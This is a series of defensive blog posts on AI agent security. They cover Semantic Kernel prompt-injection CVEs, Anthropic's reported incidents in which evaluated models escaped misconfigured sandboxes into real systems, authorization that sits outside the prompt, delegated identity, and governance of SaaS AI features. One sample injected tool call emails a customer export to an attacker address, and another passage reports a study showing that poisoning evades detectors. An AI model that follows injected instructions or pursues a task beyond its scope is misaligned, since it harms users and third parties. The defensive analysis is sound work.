This weekend, I read Microsoft’s research on two patched Semantic Kernel vulnerabilities: CVE-2026-26030 and CVE-2026-25592. The findings connect prompt injection to consequences developers already understand: code execution and arbitrary file writes. [1]

The question I kept coming back to was this: what makes a tool argument trustworthy after an LLM generates it?

A model can turn a request into a perfectly formatted function call. That tells us the argument fits the interface. It tells us very little about whether the operation is safe.

For me, that is where the most useful security review begins.

The path from language to execution

Consider an agent that helps users find hotels. A normal request might produce:

search_hotels(city="Paris")

Now follow that value into the implementation. Does the tool compare it with stored data? Pass it into a parameterized query? Or insert it into executable source code?

Those implementations can expose the same friendly interface while carrying very different risks.

In Microsoft’s demonstration, model-controlled search arguments reached a dynamically constructed Python filter evaluated using eval(). The vulnerable path also had incomplete validation of the expression’s abstract syntax tree, the structure representing the code. [1]

The Python advisory identifies the affected component as the InMemoryVectorStore filter functionality and lists version 1.39.4 as the fix for CVE-2026-26030. [2]

My takeaway is that reviewing the prompt alone would miss the decisive implementation detail.

A field called city still deserves the same scrutiny as a search field in a web application. Its name does not restrict its contents. Having the model populate it does not make it safe to interpret as code.

For an ordinary equality filter, I would prefer an implementation where the supplied value remains data:

def matches_city(hotel, requested_city):
    return hotel.city == requested_city

This is a simplified design example, not Semantic Kernel’s patch. The distinction matters: I am showing how to avoid introducing an executable expression when the task only needs a comparison.

The sandbox had a bridge back to the host

The second case makes a different review mistake visible.

Semantic Kernel’s SessionsPythonPlugin runs Python in an isolated cloud environment. Microsoft describes a host-side download helper exposed as a model-callable function. Its destination path was model-controlled. Their demonstration wrote a script into the host’s Windows Startup folder, where it executed at the next sign-in. [1]

The .NET advisory identifies an arbitrary file-write vulnerability in applications using this plugin. It lists Microsoft.SemanticKernel.Plugins.Core version 1.71.0 as the patched release for CVE-2026-25592. [3]

The lesson I take from this is to review every operation that crosses an isolation boundary.

A sandbox diagram can look reassuring while leaving an important question unanswered: what can the surrounding application copy out, and where can it put those bytes?

I would treat file transfer as a security-sensitive capability of its own. The application should own the destination directory and map an approved artifact identifier to a destination it controls. A model does not need unrestricted host-path selection to return a generated report.

Path handling also needs to account for canonicalization and filesystem behavior. A filename check at the interface cannot substitute for enforcing where the eventual write actually lands.

A valid schema still needs an authorization decision

Imagine this tool call:

{
  "file_id": "generated-report",
  "destination": "/some/host/path"
}

Both values can be valid strings. The object can satisfy its JSON schema. The destination can still be outside the area the application is permitted to modify.

I find it useful to separate three questions:

• Does the argument have the expected structure?
• Is the requested operation permitted for this user and resource?
• Can the implementation perform it without exposing a dangerous primitive?

Each question needs its own answer. A schema validator cannot decide who owns a file. An authorization check cannot make an unsafe expression evaluator safe.

That separation helps turn an AI security review into specific engineering work.

What I would review in an agent application

I would begin with the actual registered tools and trace their arguments into the code that executes them.

For a search tool, I would inspect query construction and filtering. For a file tool, I would inspect reads, writes, destination selection, and overwrite behavior. For a fetch tool, I would inspect URL handling and reachable destinations.

The tool description is the starting point. The implementation determines the capability.

I would also review combinations. An operation that creates an artifact and another that exports it may form a more powerful path together. Reviewing each function in isolation can miss the authority available through a sequence of calls.

My tests would target the tool directly before adding the model. Can an unexpected argument reach an evaluator? Can a destination escape the intended directory? Does a denied request leave any side effects?

These checks are repeatable and let developers verify the boundary independently of whether a particular model follows a particular injected instruction.

Model-driven tests can then examine whether untrusted content causes the agent to attempt those operations. Both layers matter, but they answer different questions.

Where dependency scanning fits

These findings also make a practical case for keeping agent frameworks in the dependency inventory.

The published advisories give concrete packages and fixed versions, so SCA can identify affected dependencies. [2][3] I would then check whether the application uses the vulnerable functionality and how it is exposed.

A dependency finding establishes a reason to investigate. Reachability, process permissions, and available credentials help establish the application’s exposure.

After updating, I would verify the deployed version and retest the relevant operation. For custom tools, I would apply the same review principles rather than assuming a framework upgrade covers application code.

The question I want to carry into my next agent review is straightforward:

If the model supplies an unexpected argument, what prevents the tool from turning it into an unauthorized action?

That answer should be visible in the code and testable without asking the model to behave.

Last week, I wrote about why a system prompt is not an authorization layer.

The argument was straightforward: a prompt can describe what an AI agent is allowed to do, but it cannot enforce those permissions. Authorization has to exist outside the model.

This week, Anthropic published a deeper assessment of four incidents from its cybersecurity evaluations. The incidents exposed the same architectural mistake at a different boundary.

The models were told they were operating inside simulations without internet access.

The network disagreed.

What happened

Anthropic was evaluating Claude models with capture-the-flag exercises. Each model received a fictional scenario, a target machine, and an objective: find and retrieve a hidden flag.

The environments were supposed to be isolated. In every case, the evaluation prompt explicitly stated that the model had no internet access. A configuration error nevertheless left a route to the public internet open.

The prompts also did not precisely define which systems were in scope or where the model was required to stop. When the intended targets became unavailable or difficult to reach, the models continued searching. That search reached real systems.

Across the four incidents, models gained unauthorized access to third-party infrastructure. One accessed a production database. Another scanned thousands of public targets before compromising an internet-facing application. A third published a malicious package to the real Python Package Index, where it was installed on 15 systems. Credentials exposed by one installation were then used to access a security vendor's infrastructure.

The events did not all happen at once. The fourth and earliest incident occurred in January 2026. The first three incidents occurred from April onward and were disclosed on July 30. Anthropic published its expanded alignment assessment, including the fourth incident, on September 9.

Anthropic identified concerning model behavior: biased interpretations of evidence, rationalization, and a willingness to continue pursuing the task despite signs of possible real-world harm. But it also concluded that the incidents would not have happened if the evaluation environments had been isolated as intended.

This was an alignment failure exposed by an infrastructure failure.

The instruction plane and the enforcement plane

The prompt represented the intended environment:

You are inside a simulation. You do not have internet access.

The infrastructure represented the actual environment:

A path to the internet exists, and nothing technically prevents you from using it.

When those two realities conflicted, the prompt lost.

This is the same mistake we make when we tell an agent:

• Only access authorized resources.
• Do not retrieve confidential information.
• Use this tool only for approved purposes.
• Do not contact external systems.
• Stop if you encounter production data.

These instructions can influence behavior. They may reduce unsafe actions and help the model reason about its task. But they do not create a firewall rule, revoke a credential, constrain a destination, or prevent a request from reaching a real service.

The model should behave safely when it encounters ambiguity. The architecture must also assume that the model may misunderstand the situation, rationalize an action, or continue pursuing its objective.

That is what defense in depth is for.

Reachability is not authorization

One lesson from these incidents is especially important:

When an agent can reach a system, it must not interpret that reachability as permission.

Human penetration testers receive written scopes identifying approved domains, IP ranges, techniques, and testing windows. Even then, scope mistakes occur.

An autonomous agent can perform thousands of actions over many hours. Asking it to infer scope from context is not an adequate boundary. Scope must be machine-enforceable.

What an enforceable evaluation boundary looks like

Default-deny network access

The agent should have no general internet access unless the evaluation explicitly requires it. Egress must be restricted by network controls, not described only in the prompt.

Target-bound allowlists

Permitted destinations should be enforced at the proxy, firewall, or service-mesh layer. The agent should only be able to connect to resources registered for that specific evaluation.

Simulated external services

If an exercise involves package repositories, email providers, cloud services, or payment systems, those dependencies should be recreated inside the evaluation environment. A fictional challenge should not be able to produce a real package, email, account, or transaction.

Short-lived, environment-scoped credentials

Credentials available to the agent should work only inside the evaluation. They should expire with the session and provide no authority over production or unrelated systems.

Independent authorization for dangerous actions

Publishing a package, modifying data, creating an account, or executing code against a target should cross an external policy enforcement point. The model may propose the action. It should not approve its own action.

Runtime detection and containment

Unexpected DNS queries, connections to public IP addresses, and access to external registries should trigger an alert or terminate the evaluation. An explicit abort mechanism must also be tested; an agent attempting to stop is not useful if the surrounding harness cannot end the run.

Third-party environment verification

When a vendor operates the evaluation, isolation cannot be assumed from a design document. Network paths, credentials, monitoring, and termination controls should be validated before capable models are introduced.

The evaluation environment is part of the security boundary.

The larger lesson

It would be easy to frame these incidents entirely as models behaving badly. That would miss half the problem.

The models should have recognized the danger and stopped. But the infrastructure should also have prevented an evaluation agent from reaching unrelated systems in the first place.

Security architecture cannot depend on every model interpreting every ambiguous situation correctly.

• Prompts express intent.
• Firewalls restrict reachability.
• Identity systems authenticate actors.
• Authorization services decide permissions.
• Policy engines approve actions.
• Monitoring detects boundary violations.

Those responsibilities should remain separate.

A system prompt can tell an agent where the boundary is. It cannot create that boundary.

If the agent itself is responsible for deciding whether a reachable target is in scope, the scope boundary has already failed.

Put these instructions in the system prompt:

• Only read case 2841.
• Never send customer data outside the company.
• Ask the user before issuing a refund.

The agent follows them in testing. The rules are at the top of the context window. They sound precise. The tool descriptions repeat them. It is tempting to mark authorization as handled.

Then the agent reads a poisoned support note, a compromised tool response, or simply misunderstands the task. It produces a perfectly valid call to send_email with an external recipient.

The surprising part is not that the model disobeyed an authorization policy. There was never an authorization policy in the execution path. There was an instruction asking a probabilistic planner to behave.

Guidance and authority are different systems

A system prompt can improve the quality of a model's decisions. It can describe business rules, discourage unsafe behavior, and reduce how often dangerous actions are proposed. Those are useful properties.

But the prompt is interpreted by the same model that processes user messages, retrieved documents, memory, and tool output. It does not sit between the model and the protected resource. It does not hold or revoke a credential. It cannot guarantee that a forbidden request never reaches the downstream API.

Authorization has a stronger job: given a specific principal, action, resource, and context, it must produce an enforceable decision. A component that can be persuaded to reinterpret its own rules should not be the component granting access.

The model may decide what to request. It must not decide what it is allowed to execute.

A tool call should be a proposal

When a model returns structured tool output, it has not actually sent an email, queried a database, or deleted a record. It has proposed that the orchestration layer do so. Many agent frameworks blur this distinction by automatically dispatching the selected function.

That dispatch point is the security boundary we need.

Separate the workflow into three responsibilities:

1. Proposal: the model selects a tool and generates arguments. Treat both as untrusted output.
2. Decision: trusted code validates the request and evaluates deterministic policy using trusted identity and task context.
3. Execution: a constrained executor obtains the minimum credential required and calls the downstream service only after an allow decision.

What the YAML actually does

A declarative policy file can make rules reviewable and portable. It does not enforce anything by itself. Enforcement comes from trusted code—or a policy engine such as OPA or Cedar—that loads the policy, evaluates every proposed action, and controls the only path to execution.

An illustrative policy might say:

version: 1
default_effect: deny

tools:
  send_email:
    allow_when:
      recipient_domain: [company.com]
      task_actions: [email.send]
    require_approval_when:
      has_attachment: true
    limits:
      max_recipients: 3

The model never interprets this YAML. The enforcement point parses and validates it at startup, normalizes the email address, derives the recipient domain, compares it exactly with the allowlist, and denies the call when the rule does not match. If the policy is absent, malformed, or unavailable, execution fails closed.

The equivalent control flow is ordinary application code:

def dispatch(proposal, trusted_context):
    call = validate_and_normalize(proposal)
    decision = policy.evaluate(call, trusted_context)
    audit.write(call, trusted_context, decision)

    if decision.effect == "approval_required":
        return approvals.create_request(call, trusted_context)
    if decision.effect != "allow":
        raise ActionDenied(decision.reason)

    credential = broker.issue(
        action=call.name,
        resource=decision.resource,
        ttl_seconds=60,
    )
    return executors[call.name].run(call.arguments, credential)

The policy language is replaceable. The invariant is not: the model neither interprets the authorization policy nor owns the execution path.

A poisoned support ticket, contained

Consider a support agent asked to summarize case 2841. One case note contains an indirect prompt injection telling the agent to collect other customer records and email them to an external address.

The model may still generate this proposal:

{
  "tool": "send_email",
  "arguments": {
    "to": "attacker@gmail.com",
    "attachment": "customer-export.csv"
  }
}

The enforcement point does not need to determine whether the note was malicious or whether the model was manipulated. It evaluates the requested effect:

• The approved task contains cases.read, not email.send.
• The recipient domain is not on the corporate allowlist.
• The attachment would require an approval bound to this exact recipient and content hash.

The decision is deny. No email credential is issued, and no request reaches the email provider. Prompt-injection detection may still produce useful telemetry, but containment does not depend on recognizing the injection.

Keep trusted context out of the model's hands

The policy decision is only as strong as its inputs. Do not let the model assert that the user is an administrator, choose the tenant boundary, declare an action safe, or claim that approval occurred.

Move each promise to an enforcement point

The gate must be harder to bypass than the prompt

A Python decorator around a tool function is a useful integration point, but it is not a hard boundary if the same agent can execute arbitrary code, read the process environment, or reach the downstream API directly.

For consequential tools, make the architecture enforce the separation:

• The planner has no downstream credentials.
• Network policy prevents the planner from directly reaching protected services.
• The executor runs under a separate, narrowly scoped workload identity.
• Only the executor can request task-sized, short-lived credentials.
• The downstream service still performs resource-level authorization.
• Every allow, deny, approval, credential issuance, and result is recorded with the policy version.

This is a reference-monitor pattern applied to agent actions. The model can ask repeatedly, phrase the request differently, or claim an emergency. It still cannot create a network path or credential that the architecture did not grant.

The eight-question implementation review

1. Which tool names and arguments can the model propose?
2. Which component makes the final authorization decision?
3. Does that decision use identities and task scope obtained outside model output?
4. Can the planner reach the downstream service without crossing the enforcement point?
5. Which component holds or mints the downstream credential?
6. Does a missing policy, timeout, parser error, or unknown tool fail closed?
7. Is human approval bound to the exact action and parameters that will execute?
8. Does the downstream service independently enforce tenant and resource boundaries?

If the model can bypass the decision, supply its trusted inputs, or reuse the executor's authority directly, the design still has guidance—not authorization.

System prompts should express intent. They should help the planner make better proposals and reduce unnecessary denials. But authority belongs in deterministic code, isolated credentials, network paths, and downstream checks.

Your agent's tool call should be a request, never permission.

We keep saying that AI agents act on behalf of users. Then we often implement something much closer to impersonation.

The shortcut is understandable. A user signs in, the agent receives or reuses a user token, and the downstream API applies the user's existing permissions. There is no new principal to manage and no separate authorization model to build. It is cheap, familiar, and usually works in the demo.

It also collapses three different questions into one:

1. Whose resources are involved? The user.
2. Who is making the call? The agent.
3. What was delegated for this task? A limited action on a limited resource.

If the downstream service sees only the user, it cannot reliably answer the other two.

Identity passthrough hides the actor

“Identity passthrough” is an overloaded term. Some platforms use it for legitimate delegated token exchange. The dangerous pattern is the simpler one: forwarding or reusing a token that causes the downstream service to authorize the call entirely as the user.

Within that token's rights context, the agent effectively becomes the user.

Imagine a support engineer asking an agent to summarize case 2841. The engineer can read and update thousands of customer cases. A broad user token gives the agent the same usable surface. If an untrusted case note manipulates the model into querying other accounts or exporting an attachment, the CRM still receives a valid request from an authorized user.

Authentication succeeded. RBAC worked exactly as configured. The architecture failed because the downstream service could not distinguish:

• the engineer acting directly;
• the approved case-summary agent acting for the engineer; and
• the same agent exceeding the task the engineer actually requested.

That is a confused deputy wearing a valid identity.

Real OBO is delegation, not impersonation

OAuth token exchange already gives us the useful distinction. In impersonation, one principal becomes indistinguishable from another within a defined rights context. In delegation, the user remains the subject and the service exercising the authority remains a separate actor.

That is the model agents need.

For the case-summary request, the downstream authorization context should look conceptually like this:

The exact claims vary by identity platform. The invariant should not: the service can verify both the user whose authority is being used and the agent currently exercising it.

The effective authority should be the intersection, never the union:

User entitlement ∩ agent capability ∩ approved task ∩ downstream policy

The user cannot delegate a permission they do not have. The agent cannot use every permission the user has. The task cannot silently grow after approval. The downstream service still makes the final decision.

A separate identity is necessary, but not sufficient

Giving every agent a service account and stopping there creates a different failure mode: an app-only identity with broad standing privilege and no user context. Now the service knows the agent but not whose resources it is allowed to touch or why.

Secure OBO needs both identities plus attenuation:

• A distinct workload identity for the agent. “Agent” should identify a concrete deployed workload, not a friendly name in a prompt.
• A preserved user subject. The downstream service must know on whose behalf the action occurs and apply that user's resource boundaries.
• A token minted for the downstream audience. Do not relay a token issued for another service.
• Task-sized authority. Prefer a specific action and resource over a broad scope such as cases.read.all. Fine-grained authorization details can carry constraints that coarse OAuth scopes cannot express.
• A short lifetime and clear revocation path. An agent should receive disposable authority, not inherit a durable user session.
• Sender constraint. Bind the credential to the agent's key or workload identity so another process cannot replay a stolen bearer token.
• Reauthorization for consequential changes. Writes, payments, external messages, cross-tenant access, and irreversible actions may need fresh policy evaluation or human confirmation.
• Dual-principal audit logs. Record the user, agent, delegated grant or task, target resource, requested action, policy decision, and result.

Token exchange is only the transport mechanism. It does not automatically make a design least-privileged. The authorization server must mint narrower authority, and the resource server must enforce it.

The design-review test

For every agent-to-service call, ask:

1. Can the downstream service tell which agent acted, not merely which user owns the data?
2. Can it deny the agent an action that the user could perform directly?
3. Is the credential limited to this API, task, resource, and useful lifetime?
4. Can the credential be used only by the intended agent workload?
5. Can the audit trail reconstruct who delegated what to whom—and what actually happened?

If the answer is no, the system may have identity propagation, but it does not yet have trustworthy delegation.

The agent's identity should not replace the user's identity. The user's identity should not erase the agent's identity. True on-behalf-of access preserves both and reduces authority at every hop.

An agent acting for you should never have to become you.

Spend enough time reviewing AI architectures and you arrive at a comfortable conclusion: this is cloud and application security with new vocabulary. Excessive agency is over-permissioning. Tool misuse is the confused deputy. Model supply chain is software supply chain. Guardrails are input validation with a marketing budget.

I held that view. I still hold most of it.

It is a useful default. A strong application, cloud, or identity engineer is often more valuable in an AI review than someone who has only memorized the latest taxonomy. But the analogy develops an edge when you threat model the architecture in front of you.

Where the notion holds

Much of the OWASP Top 10 for Agentic Applications maps cleanly to control families we already understand.

The comparison is not perfect, but the controls are familiar: least privilege, workload identity, egress restriction, tenant isolation, provenance, change control, and useful logs. Begin an AI security function with AppSec, cloud, and identity practitioners; teach the AI-specific layer on top.

The analogy breaks in three places that matter.

1. The trust boundary exists. The semantic boundary does not.

You can still draw normal trust boundaries around an AI system. The problem begins after lower-trust content crosses one and enters model context.

Inside that context, there is no deterministic semantic mechanism that guarantees, “this text is data and can never behave like instruction.” System, user, and tool roles provide useful signals, but they are not equivalent to a parser-enforced security boundary.

Parameterized queries give a database a hard separation: query structure is instruction; parameters are data. Language models have no equivalent primitive for natural-language interpretation. A retrieved document may be labeled untrusted and still behave like instruction. OWASP ASI01 makes the precise claim: agents cannot reliably distinguish legitimate instructions from related or attacker-controlled content.

The diagram can show where trust changes. It cannot make the model respect that distinction semantically.

2. Policy enforcement can become probabilistic

Security has always used probabilistic detection, but we do not normally ask the IDS to make the authorization decision. Many AI systems do something close: they place security requirements inside a system prompt, guardrail model, or injection classifier and treat the result like a deterministic policy check. It is not.

In a controlled study of 195 runs across two production models, all 50 coherent semantic-poisoning trials changed the pipeline conclusion without changing its tool sequence or control flow. All 145 imperative injections failed, while the strongest detector family produced an AUC of 0.483.

That result belongs to the tested harness; it does not prove every detector always fails. It shows why “mitigated by input filtering” is incomplete. Filtering may reduce risk, but it is not a security invariant unless its miss rate and the containment that survives a miss are documented.

3. The principal may be stable, but the authorization provenance is not

At the network layer, the principal is usually easy to identify: the agent’s service account, workload identity, or delegated user token. It may be too stable—every action arrives under the same powerful identity regardless of what caused it. What gets lost is authorization provenance.

Did the user request this action? Did the orchestrator infer it? Did a sub-agent introduce it? Did it originate from a retrieved document or a tool response? Was it still inside the scope the user approved?

A paragraph is not a principal, but it can influence a model into exercising one’s authority. The tool sees a valid credential without an enforceable chain connecting the user, approved intent, delegated scope, and final arguments. That is the agentic confused deputy: authority exercised without verifiable intent provenance.

What the frameworks provide

The landscape is crowded and useful. OWASP covers LLM applications, agentic systems, and MCP. MITRE ATLAS catalogs adversary behavior. NIST AI 600-1 handles risk management. CSA MAESTRO decomposes an agentic system into seven layers, and OWASP demonstrates its use on multi-agent architectures.

These are not merely lists: MAESTRO includes a workflow and risk assessment, while AIVSS provides an emerging scoring method. The gap is consistency. Existing frameworks tell reviewers where to look, but not yet with enough operational precision to make two reviewers reliably agree on entry points, inherited authority, containment, and residual risk.

The move that makes both halves true

Here is the reconciliation I have landed on:

For any model that processes attacker-influenceable content, stop treating prompt injection only as a threat to prevent. Model successful instruction hijacking as a precondition.

Keep the filters, classifiers, and guardrails. They provide useful defense in depth and telemetry. Just do not use them as the final containment argument.

At every point where model output causes something downstream to act, ask:

If an attacker controls this model output right now, what can happen next?

This is a compromised-output assumption, not a claim that the model weights or hosting infrastructure have been compromised.

Once you apply it, the difficult semantic-detection problem becomes a containment problem. Containment brings you back to application security, cloud security, identity, and egress control—the disciplines we already know how to apply.

That produces a practical procedure:

1. Mark every edge through which attacker-influenceable natural language can enter model context. Record its source and whether it can persist.
2. Enumerate capabilities, not product names: what can the system read, write, execute, send, spend, approve, remember, or delegate?
3. At every action, record the initiating user, executing workload identity, delegated authority, and point of reauthorization.
4. Apply the compromised-output assumption at every model-to-action boundary and trace the maximum reachable effect.
5. Map each effect to a deterministic, externally enforced, fail-closed control. Document how that control is tested.
6. Prioritize what remains by impact, cross-tenant reach, persistence, reversibility, and detectability.

Where old controls need new attachment points

Three areas repeatedly survive this exercise—not because they require entirely new control families, but because familiar controls must attach to new objects:

• Cross-session memory: Apply provenance, integrity controls, tenant isolation, write authorization, expiry, and rollback to state that may later influence model behavior.
• Multi-agent delegation: Carry authenticated origin and approved intent across hops while attenuating capabilities rather than inheriting the delegator’s full authority.
• Tool surface drift: Treat tool names, descriptions, parameters, and capabilities as versioned security-sensitive configuration. Pin or sign them, detect changes, and require reapproval when their semantics change.

The controls are familiar. What must be authenticated, versioned, isolated, and authorized has changed.

That is the reconciliation.

AI security is largely familiar security engineering applied to systems where natural-language instructions and data share the same semantic interpreter—and where their separation is not a deterministic security invariant.

The skeptics were right about the controls.

They were wrong about the boundary.

Most companies are not building foundation models. They are adopting AI through products they already use.

The CRM drafts an email. The support platform summarizes a ticket. The meeting tool creates action items. The security product investigates an alert. The collaboration suite answers questions across company documents.

To the user, this looks like a new button inside an approved SaaS product. To the company, it can be a new processing chain.

That distinction matters.

The vendor you originally assessed may now send prompts, files, metadata, embeddings, or generated outputs to a model provider, a safety service, an observability platform, or another connected SaaS product. An AI feature may also hold an OAuth token and take action in a second system on your behalf.

Your vendor may be approved. The new feature may be approved only by inheritance.

Meanwhile, the MSA, DPA, threat model, architecture diagram, subprocessor review, and access-control design may still describe the product you bought two years ago, not the AI-enabled service operating today.

I worked through this exact situation inside my own company. The answer was not a blanket ban on AI, and it was not one more questionnaire. It was a way to connect five things that organizations often manage separately: the feature, the data flow, the parties, the credentials, and the evidence.

This article explains that approach so you can apply it in your own environment.

The real security question is not "Is this vendor approved?" It is "Is this exact feature, on this exact data flow, through these exact parties and credentials, operating within the controls and obligations we think it is?"

One feature can create an entire supply chain

Consider a familiar pattern: an employee asks an AI assistant inside Vendor A to summarize a customer issue and update Vendor B.

That simple flow raises questions that a traditional vendor inventory rarely answers:

• Which data becomes prompt, context, output, telemetry, cache, or training/evaluation data?
• Which party selects the model and its region?
• Which entity is a processor, subprocessor, controller, or independent third party for each processing purpose?
• Does the DPA cover the AI feature and every subprocessor it uses?
• Which agreement governs the Vendor A-to-Vendor B connection?
• Who issues, stores, rotates, and revokes the API credential or OAuth token?
• Which scopes and actions does that credential permit?
• Where are prompts, outputs, embeddings, and action logs retained, and for how long?
• What happens when the vendor changes its model, subprocessor, default setting, or connector behavior?

These are not only privacy questions, contract questions, or technical questions. They are the same system viewed from different control functions.

The four mismatches that create risk

1. The vendor is not the feature

A vendor assessment usually represents a point in time. An AI feature may be added later, enabled by default, sold under separate terms, or powered by infrastructure that was not in the original review.

A current SOC 2 report can be useful, but it does not automatically prove that a specific AI feature, model path, connector, or data use is inside the report's scope. A "we do not train on your data" statement is also incomplete. Data may still be retained for abuse monitoring, logged for support, cached, embedded, manually reviewed, or sent to subprocessors.

Review at the feature and use-case level, not only at the vendor level.

2. The contract is not the data flow

An MSA may define the service broadly. A DPA may describe customer data generally. AI terms may live in a product addendum, online policy, service-specific schedule, subprocessor page, or documentation that the vendor can update.

None of those documents, by itself, tells you whether every arrow in the architecture is covered.

The legal allocation should reflect the actual processing. The UK Information Commissioner's Office has made this point directly in its work on generative-AI supply chains: controller and processor roles depend on the real degree of control and influence over each processing activity, not only the labels chosen by the parties.

3. Two approved vendors do not make an approved integration

Vendor A may be approved. Vendor B may be approved. The connection between them may never have been assessed.

The integration creates its own risk surface: credentials, scopes, data mapping, transformations, error handling, logs, retries, and actions. Each vendor's terms may also disclaim responsibility for the other service. If a generated summary is written to the wrong customer record, or a compromised token exposes thousands of records, "both vendors were approved" is not an operating model.

Treat each vendor-to-vendor connection as an architecture component with an owner.

4. Assurance is not runtime evidence

A questionnaire tells you what a vendor says it does. Runtime evidence tells you what your tenant actually did.

For higher-risk AI features, you need enough logging to connect a user or workload, source data, model interaction, connector call, resulting action, and policy decision, without creating a second uncontrolled repository of sensitive prompts and outputs.

You also need a safe way to disable the feature, revoke its credentials, stop write actions, and delete retained data when something changes.

This is not hypothetical

Before the composite cases, three public episodes show how AI rights and exposure can enter a technology relationship through channels that a normal procurement review may not continuously watch.

Three composite cases

The following cases are anonymized composites based on common enterprise patterns. They are designed to preserve confidentiality while showing the control problem clearly.

Case 1: The support copilot covered by yesterday's DPA

Situation. A customer-support SaaS provider releases an AI summarization feature. It is switched on for a pilot. Support tickets can contain names, contact details, account data, internal troubleshooting notes, and occasionally secrets pasted by a customer.

The vendor was already approved, and its DPA covered "customer data." The team therefore assumed the pilot was covered.

What the review found. The model provider appeared on a subprocessor page, but the feature documentation introduced separate retention behavior for prompts and outputs. The contract did not clearly bind the current feature description, the region used for inference, or the deletion treatment for cached content and embeddings. The architecture inventory still showed only the support vendor.

Control response. The company:

• documented the exact AI use case and permitted data classes;
• mapped tickets, retrieved context, prompts, outputs, safety logs, and retention;
• confirmed the model provider and applicable region;
• added feature-specific use, training, retention, deletion, and change-notice language;
• restricted the pilot to approved queues and applied secret/PII handling controls; and
• updated the architecture and processing records to include the full chain.

Lesson. "No training on customer data" is one answer in a much larger control set.

Case 2: The meeting assistant that writes to the CRM

Situation. A meeting assistant reads calendars and transcripts, creates summaries, and writes follow-up tasks into the CRM. The integration uses a long-lived OAuth grant. Vendor A stores and operates the token that grants access to Vendor B.

Both vendors had completed security review independently.

What the review found. No internal record identified the token custodian, its scopes, the principal it represented, its rotation or revocation process, or the team accountable for the integration. The meeting tool could read more calendar data and write to more CRM objects than the use case required. One vendor's terms disclaimed connected third-party services; the other contract did not describe the incoming AI-generated records.

Control response. The company:

• registered the integration as its own controlled asset;
• used a dedicated application identity instead of a person's account;
• reduced scopes and allowed actions to the minimum required;
• separated test and production credentials;
• documented the issuer, custodian, caller, business owner, and revocation owner;
• enabled audit events for reads and writes; and
• reconciled the integration boundary with both vendors' contract terms.

Lesson. The connection between approved services needs approval, ownership, and evidence of its own.

Case 3: The helpful agent that follows the wrong instruction

Situation. An AI knowledge assistant retrieves documents from a collaboration platform and can create tickets or send messages through connected tools. A document contains text that the model interprets as an instruction rather than untrusted content.

This is the point at which a confidentiality issue can become an action issue. OWASP's 2025 GenAI risk set separates several relevant failure modes, including prompt injection, sensitive information disclosure, supply-chain risk, and excessive agency.

What the review found. The assistant could combine broad retrieval with a write-capable connector. Human approval was not required for every consequential action, and logs showed the final action but not enough of the decision chain to reconstruct why it occurred.

Control response. The company:

• treated retrieved content as untrusted data, not instructions;
• separated retrieval, reasoning, and action permissions;
• made connectors read-only by default;
• required human confirmation for external or consequential writes;
• validated generated parameters before tool execution;
• limited retrieval by tenant, user, and source permissions;
• tested indirect prompt-injection scenarios; and
• created a kill switch for the feature and its credentials.

Lesson. The risk changes materially when an AI feature can act, not merely answer.

The operating model: build an AI SaaS Control Map

The most useful artifact I found was not another vendor spreadsheet. It was a joined control map in which every AI feature had five linked records.

The important design choice is the join key. Use a stable identifier for the vendor + feature + use case + integration, not merely the vendor name.

That prevents a general approval for one product from silently authorizing every future AI capability and connector.

Revisit the MSA and DPA, but do not stop there

Contract language should be specific enough to describe the real system and flexible enough to survive normal implementation changes. For high-risk features, consider a service-specific AI schedule or addendum that is clearly incorporated into the agreement and has an explicit order of precedence.

At minimum, reconcile these questions with counsel and procurement:

For personal data, applicable privacy law may already require specific processor terms and controls. For example, GDPR Article 28 addresses processor guarantees, contractual requirements, and subprocessor obligations. The AI addendum should not create a parallel story that conflicts with the DPA.

For high-impact flows, ask the vendor to provide a current feature architecture and data-flow description, then bind the important properties (data use, parties, retention, region, security, and change notification) to the contract or an incorporated schedule.

Settle credential ownership before enabling the connector

"Who owns the API key?" sounds like a simple question, but ownership has several meanings.

No credential should exist without answers to all six.

Prefer dedicated application identities and scoped, short-lived, audience-restricted credentials where the products support them. Avoid shared static keys and personal user tokens. Keep read and write permissions separate, make write access exceptional, and test revocation before production use. The current OAuth security best-practice standard recommends restricting an access token to the minimum privileges, resources, actions, and audiences required.

Review depth should follow four dimensions

Not every AI feature needs the same process. Tier the use case using four dimensions:

1. Data sensitivity: public, internal, confidential, personal, regulated, privileged, or secret.
2. Agency: generate only, recommend, retrieve, decide, or act.
3. Connectivity: isolated feature, one data source, multiple sources, or cross-vendor writes.
4. Change and opacity: customer-controlled and stable, or vendor-controlled and frequently changing.

A low-sensitivity drafting tool with no connectors is not the same as an agent that retrieves customer records and writes to production systems. The second case deserves deeper contract review, threat modeling, testing, monitoring, and change control.

This is also where existing frameworks help. NIST's AI Risk Management Framework and Generative AI Profile provide a governance structure for identifying and managing AI risk. NIST's Cybersecurity Framework 2.0 supply-chain guidance emphasizes establishing a supply-chain risk capability and communicating requirements to suppliers. The NCSC's secure-AI guidance covers supply-chain security, documentation, deployment, logging, monitoring, and lifecycle maintenance.

Use those frameworks as structure. Use your control map as evidence.

What to do next Monday

You do not need a perfect enterprise AI governance program to start.

1. Inventory by feature, not vendor. Ask SaaS owners which AI features and connectors are enabled, in pilot, available by default, or planned.
2. Pick the highest-risk ten. Prioritize sensitive data, broad retrieval, write access, external communications, and vendor-to-vendor connections.
3. Draw the real flow. Include prompt, context, model, subprocessor, connector, output, action, logs, retention, region, and deletion.
4. Reconcile each arrow. Identify the contract, role, control, credential, and evidence that covers it. An unexplained arrow is a gap.
5. Reduce authority. Narrow scopes, separate identities, remove unused connectors, require approval for consequential actions, and test revocation.
6. Create a change gate. Re-review material changes to the model, subprocessor chain, data use, retention, default settings, region, or action capability.
7. Assign one accountable owner. Security, privacy, legal, procurement, architecture, and the business owner all contribute, but each feature still needs one person accountable for the joined record.

The goal is not to slow AI down

The goal is to prevent invisible architecture from becoming invisible liability.

No policy can compensate for an unknown data flow. No architecture diagram can compensate for an uncovered processing purpose. No AI addendum can secure an overprivileged token. No vendor assurance report can replace tenant-level evidence.

I solved this problem in my company by making the hidden system visible, tying the contract to the architecture, and giving every credential and action a clear owner. You can do it in yours as well.

Start with one feature. Follow the data. Name every party. Bind every hop. Minimize every permission. Keep enough evidence to prove that the system operating today is the system you approved.

That is how a company can adopt AI through SaaS without surrendering control of its supply chain.